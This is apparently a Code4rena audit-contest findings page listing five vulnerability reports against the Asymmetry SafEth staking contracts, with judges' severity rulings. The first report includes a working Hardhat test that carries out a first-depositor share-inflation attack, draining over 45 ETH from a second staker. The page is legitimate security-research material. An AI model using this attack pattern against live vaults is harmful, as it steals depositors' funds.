Platform: Code4rena
Start Date: 24/03/2023
Pot Size: $49,200 USDC
Total HM: 20
Participants: 246
Period: 6 days
Judge: Picodes
Total Solo HM: 1
Id: 226
League: ETH
Rank: 13/246
Findings: 5
Award: $722.46
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: monrel
Also found by: 0xRajkumar, 0xfusion, AkshaySrivastav, Bahurum, Brenzee, Cryptor, Dug, Haipls, Koolex, Krace, MiloTruck, RaymondFam, RedTiger, ToonVH, Tricko, Vagner, aga7hokakological, anodaram, bart1e, bin2chen, bytes032, carrotsmuggler, ck, d3e4, giovannidisiena, igingu, juancito, mahdirostami, mert_eren, n33k, nemveer, parsely, pavankv, sashik_eth, shaka, sinarette, ulqiorra, yac
3.4908 USDC - $3.49
The first staker can take advantage of rounding errors in the calculation of safEth to be minted and inflate the share ratio. This is a known attack for ERC-4626 vaults and can be used with SafEth.sol
.
The attack consists of the first depositor minting just one share and then donating an amount of the underlying asset to the vault so that the following depositors receive fewer shares than expected due to rounding errors.
In the case of the SafEth.sol
it is not possible for the staker to mint just one stEth, so the attacker will also require to unstake all but 1 stEth. Also, as the assets are not held by SafEth.sol
the donation of the underlying asset is made to its respective derivative contract.
The first staker can get a share of the ETH from other depositors.
This test placed in SafEth-Integration.test.ts
after the first two deployment tests, shows a practical example of how the attack can be performed.
it("First depositor front runs", async function () { const frxETHMinter = await ethers.getContractAt("IFrxETHMinter", "0xbAFA44EFE7901E04E39Dad13167D089C559c1138"); const sfrxEth = await ethers.getContractAt("IERC20", "0xac3E018457B222d93114458476f3E3416Abbe38F"); const strategy = await getLatestContract(strategyContractAddress, "SafEth"); const sfrxEthDerivative = await strategy.derivatives(1); const [alice, bob] = await getUserAccounts(); const strategyAliceSigner = strategy.connect(alice); const strategyBobSigner = strategy.connect(bob); const aliceStartBalance = await alice.getBalance(); const bobStartBalance = await bob.getBalance(); // Alice stakes minimum amount await strategyAliceSigner.stake({value: ethers.utils.parseEther(stakeMinimum.toString())}); let aliceSafEthBalance = await strategy.balanceOf(alice.address); // Alice unstakes all but 1 safEth await strategyAliceSigner.unstake(aliceSafEthBalance.sub(1)); aliceSafEthBalance = await strategy.balanceOf(alice.address); expect(aliceSafEthBalance.toString()).eq("1"); // Alice transfers 100 sfrxEth to derivative contract await frxETHMinter.connect(alice).submitAndDeposit(alice.address, {value: ethers.utils.parseEther("105")}); await sfrxEth.connect(alice).transfer(sfrxEthDerivative, ethers.utils.parseEther("100")); // Bob stakes 200 ETH and mints only 1 safEth await strategyBobSigner.stake({value: ethers.utils.parseEther("200")}); const bobSafEthBalanceWei = await strategy.balanceOf(bob.address); expect(bobSafEthBalanceWei.toString()).eq("1"); // Alice unstakes 1 safEth await strategyAliceSigner.unstake(1); // Bob unstakes 1 safEth await strategyBobSigner.unstake(1); const aliceEndBalance = await alice.getBalance(); const bobEndBalance = await bob.getBalance(); // Alice managed to get from Bob at least 45 ETH expect(aliceEndBalance.sub(aliceStartBalance)).gt(ethers.utils.parseEther("45")); expect(bobStartBalance.sub(bobEndBalance)).gt(ethers.utils.parseEther("45")); });
Manual inspection.
Lock a small portion of the first staked amount.
#0 - c4-pre-sort
2023-04-04T12:46:35Z
0xSorryNotSorry marked the issue as duplicate of #715
#1 - c4-judge
2023-04-21T14:56:44Z
Picodes marked the issue as satisfactory
🌟 Selected for report: CodingNameKiki
Also found by: 0xd1r4cde17a, Franfran, MadWookie, MiloTruck, Moliholy, adriro, ast3ros, bin2chen, giovannidisiena, gjaldon, igingu, koxuan, rbserver, rvierdiiev, shaka, slippopz
81.3214 USDC - $81.32
https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L72-L75 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L211-L216 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L147-L149
In SafEth.sol:stake()
, to calculate the amount of safEth to be minted first it is calculated the current value of all derivatives. This is done by calling the ethPerDerivative
function for each derivative. As we can see in line 73, this function is taking as a parameter the total balance of the derivative.
70 // Getting underlying value in terms of ETH for each derivative 71 for (uint i = 0; i < derivativeCount; i++) 72 underlyingValue += 73 (derivatives[i].ethPerDerivative(derivatives[i].balance()) * 74 derivatives[i].balance()) / 75 10 ** 18;
The implementation of ethPerDerivative
in Reth.sol
checks if it is possible to deposit _amount
in rocketDepositPool
. If so, it takes an exchange rate ETH/rETH from the rETH contact, otherwise, it takes the exchange rate from Uniswap V3 pool.
211 function ethPerDerivative(uint256 _amount) public view returns (uint256) { 212 if (poolCanDeposit(_amount)) 213 return 214 RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18); 215 else return (poolPrice() * 10 ** 18) / (10 ** 18); 216 }
This is wrong, as the amount of rETH held by the contract will always be exchanged for ETH by burning the tokens, so the current value in ETH of all the rETH reserves should always be calculated by calling RocketTokenRETHInterface(rethAddress()).getEthValue()
.
Users might be able to mint more tokens than expected, as the real value of the deposited assets in the system could be underestimated.
Let's imagine the following scenario:
stake
function.poolCanDeposit(balance())
returns false, and the total value of rETH is calculated at the price returned by Uniswap V3 pool.poolCanDeposit(userDepositedReth)
returns true, so he gets a better rETH to ETH exchange rate.Manual inspection.
In the calculation of the total value of rETH currently in the system, take always the exchange rate directly from the rETH contract.
#0 - CodingNameKiki
2023-04-03T08:05:52Z
The POC part is wrong here - by the warden: "As the total underlying value in the system is underestimated, the user is able to mint more safEth than expected.", but this is not the case here with the issue described. This problem doesn't lead to more minted safEth, but leads to less tokens minted.
#1 - c4-pre-sort
2023-04-04T17:41:22Z
0xSorryNotSorry marked the issue as duplicate of #1004
#2 - c4-judge
2023-04-21T14:08:05Z
Picodes marked the issue as satisfactory
#3 - c4-judge
2023-04-24T21:40:08Z
Picodes changed the severity to 3 (High Risk)
🌟 Selected for report: adriro
Also found by: 0xMirce, 0xRajkumar, 0xepley, BPZ, Bahurum, Bauer, Co0nan, Emmanuel, Franfran, HollaDieWaldfee, IgorZuk, MiloTruck, NoamYakov, RedTiger, Ruhum, T1MOH, Tricko, ad3sh_, auditor0517, bin2chen, carrotsmuggler, eyexploit, handsomegiraffe, igingu, jasonxiale, koxuan, lukris02, monrel, nadin, peanuts, rbserver, rvierdiiev, shaka, sinarette, tnevler, y1cunhui
4.5426 USDC - $4.54
The withdraw
function in WstEth.sol
assumes that the exchange rate of stETH/ETH is 1:1.
function withdraw(uint256 _amount) external onlyOwner { IWStETH(WST_ETH).unwrap(_amount); uint256 stEthBal = IERC20(STETH_TOKEN).balanceOf(address(this)); IERC20(STETH_TOKEN).approve(LIDO_CRV_POOL, stEthBal); uint256 minOut = (stEthBal * (10 ** 18 - maxSlippage)) / 10 ** 18; IStEthEthPool(LIDO_CRV_POOL).exchange(1, 0, stEthBal, minOut); // solhint-disable-next-line (bool sent, ) = address(msg.sender).call{value: address(this).balance}( "" ); require(sent, "Failed to send Ether"); }
Although the price of stETH is supposed to be 1:1 with ETH, in practice there can be significant differences in value when the assets are traded in an open market like Curve, having traded at a price as low as 0.9365 in the past. In contrast, this fact is taken into account in the implementation for frxETH, where the current price for the pair ETH/frxETH is fetched to calculate the minOut
value.
Users will be unable to unstake if there is a significant deviation from the 1:1 exchange for the ETH/stETH pair. The withdraw
function will fail, as the minOut
amount will not be reached.
In such a situation, the admins will be forced to increase the maxSlippage
so that it accounts for the exchange rate plus the slippage. However, once the price moves close to a 1:1 exchange rate, it will leave the protocol vulnerable to suffer a very big slippage, forcing the admins to constantly monitor the exchange rate to adjust the maxSlippage
value.
Here is a practical example:
maxSlippage
to 8% to account for the 7% difference in price plus a 1% of slippage.maxSlippage
of 8%, so it can suffer from sandwich attacks.As we can see, in moments of high volatility, the admin of the protocol would be forced to continuously adjust the maxSlippage
value to accommodate the changes in the price.
Manual inspection.
Use an oracle to fetch the exchange rate of the pair ETH/stETH.
#0 - c4-pre-sort
2023-04-04T17:15:36Z
0xSorryNotSorry marked the issue as duplicate of #588
#1 - c4-judge
2023-04-23T11:07:04Z
Picodes changed the severity to 3 (High Risk)
#2 - c4-judge
2023-04-24T20:45:41Z
Picodes marked the issue as satisfactory
🌟 Selected for report: silviaxyz
Also found by: 0xMirce, 0xbepresent, CodingNameKiki, Franfran, HollaDieWaldfee, MiloTruck, Tricko, adriro, codeislight, cryptonue, d3e4, ladboy233, rbserver, shaka, volodya
28.8013 USDC - $28.80
The function poolCanDeposit
in Reth.sol
checks if it is possible to deposit _amount
in the Rocket Pool deposit pool.
146 return 147 rocketDepositPool.getBalance() + _amount <= 148 rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize() && 149 _amount >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit();
This function does not check that the deposits in the pool are enabled. As we can see in line 77, the deposit
function of the RocketDepositPool
contract reverts if deposits are disabled.
// https://github.com/rocket-pool/rocketpool/blob/master/contracts/contract/deposit/RocketDepositPool.sol 74 function deposit() override external payable onlyThisLatestContract { 75 // Check deposit settings 76 RocketDAOProtocolSettingsDepositInterface rocketDAOProtocolSettingsDeposit = RocketDAOProtocolSettingsDepositInterface(getContractAddress("rocketDAOProtocolSettingsDeposit")); 77 require(rocketDAOProtocolSettingsDeposit.getDepositEnabled(), "Deposits into Rocket Pool are currently disabled"); 78 require(msg.value >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit(), "The deposited amount is less than the minimum deposit size");
If deposits in RocketDepositPool
are disabled, calls to SafEth.sol::stake()
will fail.
Manual inspection.
return rocketDepositPool.getBalance() + _amount <= rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize() && + rocketDAOProtocolSettingsDeposit.getDepositEnabled() && _amount >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit();
#0 - c4-pre-sort
2023-04-04T18:57:26Z
0xSorryNotSorry marked the issue as duplicate of #812
#1 - c4-judge
2023-04-24T19:43:29Z
Picodes marked the issue as satisfactory
🌟 Selected for report: Tricko
Also found by: rvierdiiev, shaka
604.3087 USDC - $604.31
The rETH token implements in the _beforeTokenTransfer
a timelock mechanism, that forces a determined amount of time to have passed since the last deposit.
// https://github.com/rocket-pool/rocketpool/blob/967e4d3c32721a84694921751920af313d1467af/contracts/contract/token/RocketTokenRETH.sol#L156-L172 // This is called by the base ERC20 contract before all transfer, mint, and burns function _beforeTokenTransfer(address from, address, uint256) internal override { // Don't run check if this is a mint transaction if (from != address(0)) { // Check which block the user's last deposit was bytes32 key = keccak256(abi.encodePacked("user.deposit.block", from)); uint256 lastDepositBlock = getUint(key); if (lastDepositBlock > 0) { // Ensure enough blocks have passed uint256 depositDelay = getUint(keccak256(abi.encodePacked(keccak256("dao.protocol.setting.network"), "network.reth.deposit.delay"))); uint256 blocksPassed = block.number.sub(lastDepositBlock); require(blocksPassed > depositDelay, "Not enough time has passed since deposit"); // Clear the state as it's no longer necessary to check this until another deposit is made deleteUint(key); } } }
The original value for the delay was 24 hours, but at some point, it was changed to 0. The only information I have found about a change in the parameter is in this thread.
If, for some reason, the delay value is changed again, all withdrawals that do not follow the due delay time since the last deposit will fail. As users can be constantly depositing more ETH, this will force the admins to disable the Rocket Pool
derivative indefinitely so that users can unstake their ETH.
Manual inspection.
Check that the timelock period will not make revert the withdrawal and, if so, use a DEX to convert the ETH to rETH.
#0 - c4-pre-sort
2023-04-04T20:29:29Z
0xSorryNotSorry marked the issue as duplicate of #685
#1 - c4-judge
2023-04-21T16:06:50Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2023-04-24T21:40:32Z
Picodes changed the severity to 3 (High Risk)
#3 - d3e4
2023-04-26T00:12:20Z
The linked thread is all about how this time-lock was undesirable and should be removed, which strongly suggests that it will not be reintroduced. So this finding is only hypothetically an issue, with external requirements (of a future change), which does not seem sufficient for High Risk.
#4 - Picodes
2023-04-27T09:24:11Z
@d3e4 thank you for this additional context. With this in mind, Med severity seems indeed more appropriate.
#5 - c4-judge
2023-04-27T09:24:22Z
Picodes changed the severity to 2 (Med Risk)